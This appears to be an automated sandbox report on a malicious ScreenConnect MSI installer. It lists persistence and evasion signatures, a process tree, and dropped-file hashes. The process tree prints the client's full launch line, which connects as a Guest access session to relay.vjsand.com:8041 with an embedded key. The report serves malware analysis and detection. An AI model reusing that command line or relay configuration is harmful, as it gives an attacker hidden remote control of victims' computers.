Analysis

  • max time kernel
    148s
  • max time network
    97s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/10/2026, 19:11

General

  • Target
    Agreement/data/ScreenConnect.ClientSetup (6).msi
  • Size 12.7MB
  • Sample261029-xv8pxaet21
  • SHA256 d8946c8b375dcbf49dacc79413bbde414385964759db5d01bd707a43e0979420
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I "C:\Users\Admin\AppData\Local\Temp\Agreement\data\ScreenConnect.ClientSetup (6).msi"
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:1844
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4108
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 503967ED8B3A7D296B2F55F264FC8500 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1824
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI1F27.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240722078 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2660
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:624
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding FC00019092F0CD97728A93A11EB83716
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4164
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding C24BBFD17CEA57AE869D169CCDFB5E24 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3104
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2536
    • C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.vjsand.com&p=8041&s=c2ee5e5d-34bc-4bf3-b680-00652df7a7cf&k=BgIAAACkAABSU0ExAAgAAAEAAQDlhIVLWqHtXscSVLvp4EDbJKJRK3HKJ%2bzZoIfILfzf0%2f%2fQNT8Le0Rhq3V3rdyArdjcKHSM9y98vt%2blcth1wKXRYwJ2SAOVlpL9R3mWG2mq0lGNaQJrU9lUzrNECsA7IxUyBVzUcwX1oVUmqbFkSSr9xPvmWR1BtKpYnGOmsIoQ95K4GyAD6w22i1wPSnk3Y4jkt5zLdAo1BDdqdKxOELqEj7PgBKmK8naoBxcu9dW7f7DBqrxWpspuOrkipHAo2j%2b%2bWCvbE%2fKUFSCgMI1vabPUo5x7ttCvRzPp7LItarGz47nIcZY5Jh0b%2fJ2lf%2bt8x2d9lr6JPHyKZKCz%2fYG1mm%2fd&c=encrypt-pdf&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1356
      • C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.WindowsClient.exe" "RunRole" "626c7e6e-374a-4726-9c46-48064ed91053" "User"
        2⤵
        • Executes dropped EXE
        PID:5948
      • C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.WindowsClient.exe" "RunRole" "463f5ad2-699d-45be-be1b-353f7dfe9bf4" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3504
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:5216

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            e596ccb.rbs

            • Path C:\Config.Msi\e596ccb.rbs
            • Size 214KB
            • SHA256 31790008e87a8d3b6597963177558e29b28b81b3ff33e1cd2f198141e8cfb45e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\Client.Override.en-US.resources
            • Size 341B
            • SHA256 69dc38f8fb731ea936c22929eeb54428b98a884df2117ab898b6c4aeb32a1ed2
            • MD5 SHA1 SHA512 TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\Client.Override.resources
            • Size 232B
            • SHA256 38b24ba2eb9226edcf070713e9ff1503f1245db151de1225d156e4d1d02dd30b
            • MD5 SHA1 SHA512 TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\Client.en-US.resources
            • Size 48KB
            • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\Client.resources
            • Size 26KB
            • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.ClientService.dll
            • Size 66KB
            • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.WindowsClient.exe
            • Size 588KB
            • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 822KB
            • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\app.config
            • Size 957B
            • SHA256 19c9887ca06753dbd6a3e82003d233030d356003c94e8849a99343874fc58bc3
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (13151ed7f1f412f3)\system.config
            • Size 944B
            • SHA256 573e95134bfc6ee1b57c5f5f0bdc0ed5f6391006f9f96fa4fb11aac1abfab480
            • MD5 SHA1 SHA512 TLSH

            MSI1F27.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI1F27.tmp
            • Size 1.0MB
            • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI1F27.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI1F27.tmp-\ScreenConnect.Core.dll
            • Size 536KB
            • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI1F27.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI1F27.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI72D6.tmp

            • Path C:\Windows\Installer\MSI72D6.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            e596ccc.msi

            • Path C:\Windows\Installer\e596ccc.msi
            • Size 12.7MB
            • SHA256 d8946c8b375dcbf49dacc79413bbde414385964759db5d01bd707a43e0979420
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 307deb0ca76e0be75528c98e7334329d834ee711e95a14e97ed89bc48523d77f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {7b66ea59-8935-46e4-b2e9-3de9d8ed39bc}_OnDiskSnapshotProp

            • Path \??\Volume{8a43e30d-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{7b66ea59-8935-46e4-b2e9-3de9d8ed39bc}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 0d626dd2e2cc2b12cab3df2ede8ee2002400c3ee1ad138020d0b2e4e0e550b9a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1356-99-0x0000000003B50000-0x0000000003BA0000-memory.dmp

            memory/1356-103-0x0000000003BA0000-0x0000000003BD6000-memory.dmp

            memory/1356-104-0x0000000003E70000-0x0000000003F02000-memory.dmp

            memory/1356-106-0x0000000003BE0000-0x0000000003C21000-memory.dmp

            memory/1356-108-0x0000000004060000-0x0000000004132000-memory.dmp

            memory/1356-77-0x00000000038E0000-0x00000000038F8000-memory.dmp

            memory/2660-30-0x00000000063C0000-0x000000000656A000-memory.dmp

            memory/2660-31-0x0000000006B30000-0x00000000070EA000-memory.dmp

            memory/2660-26-0x0000000006180000-0x000000000620C000-memory.dmp

            memory/2660-22-0x0000000006090000-0x000000000609A000-memory.dmp

            memory/2660-18-0x0000000006050000-0x000000000607E000-memory.dmp

            memory/4108-128-0x000001C671F50000-0x000001C6728F4000-memory.dmp

            memory/5948-121-0x000000001BB70000-0x000000001BBFC000-memory.dmp

            memory/5948-119-0x0000000000B00000-0x0000000000B96000-memory.dmp

            memory/5948-122-0x000000001BDB0000-0x000000001BF5A000-memory.dmp

            memory/5948-123-0x000000001C0F0000-0x000000001C278000-memory.dmp

            memory/5948-124-0x0000000002DF0000-0x0000000002E08000-memory.dmp

            memory/5948-125-0x000000001B760000-0x000000001B778000-memory.dmp

            memory/5948-126-0x000000001B780000-0x000000001B7C1000-memory.dmp

            memory/5948-120-0x0000000002F30000-0x0000000002F66000-memory.dmp